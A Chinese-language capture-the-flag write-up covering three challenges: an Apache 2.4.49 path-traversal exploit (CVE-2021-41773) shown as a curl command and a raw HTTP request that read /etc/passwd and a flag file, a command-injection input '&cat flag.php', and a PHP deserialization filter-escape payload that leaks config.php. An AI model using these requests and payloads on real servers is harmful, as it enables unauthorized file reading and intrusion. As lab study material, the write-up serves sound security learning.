水文的一天
任意文件读取漏洞
漏洞考察点: CVE_2021_41773
题目提示Apache
请求发现 apache版本为 2.4.49
找到CVE漏洞CVE-2021-41773
攻击者利用这个漏洞,可以读取到Apache服务器Web目录以外的其他文件,或者读取Web中的脚本源码,或者在开启cgi或cgid的服务器上执行任意命令。
两种方法:
第一种curl请求
curl -v --path-as-is http://IP地址/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
第二种:
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/flag HTTP/1.1
Host: IP地址
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Connection: close
浏览器直接访问url会失败
绕过pathinfo,这里大小写可以绕过。
不过题目环境好像不解析大写PHP。
所以只能通过第二种方法:
在文件后面添加/.
进行绕过
获取flag
命令执行
&cat flag.php
扫描目录发现备份文件
发现序列化代码
在nickname处可以进行数组绕过.所以我们构造的payload在 nickname处。
调用了update_profile()
函数
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
update
函数代码
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
filter
代码
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
构造Payload
class b
{
public $phone = "12345678901";
public $email = "[email protected]";
public $nickname = array("wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere");
public $photo = "config.php";
}
$a=new b();
$profile = serialize($a);
echo $profile;
?>
发送请求
解密base64
获取flag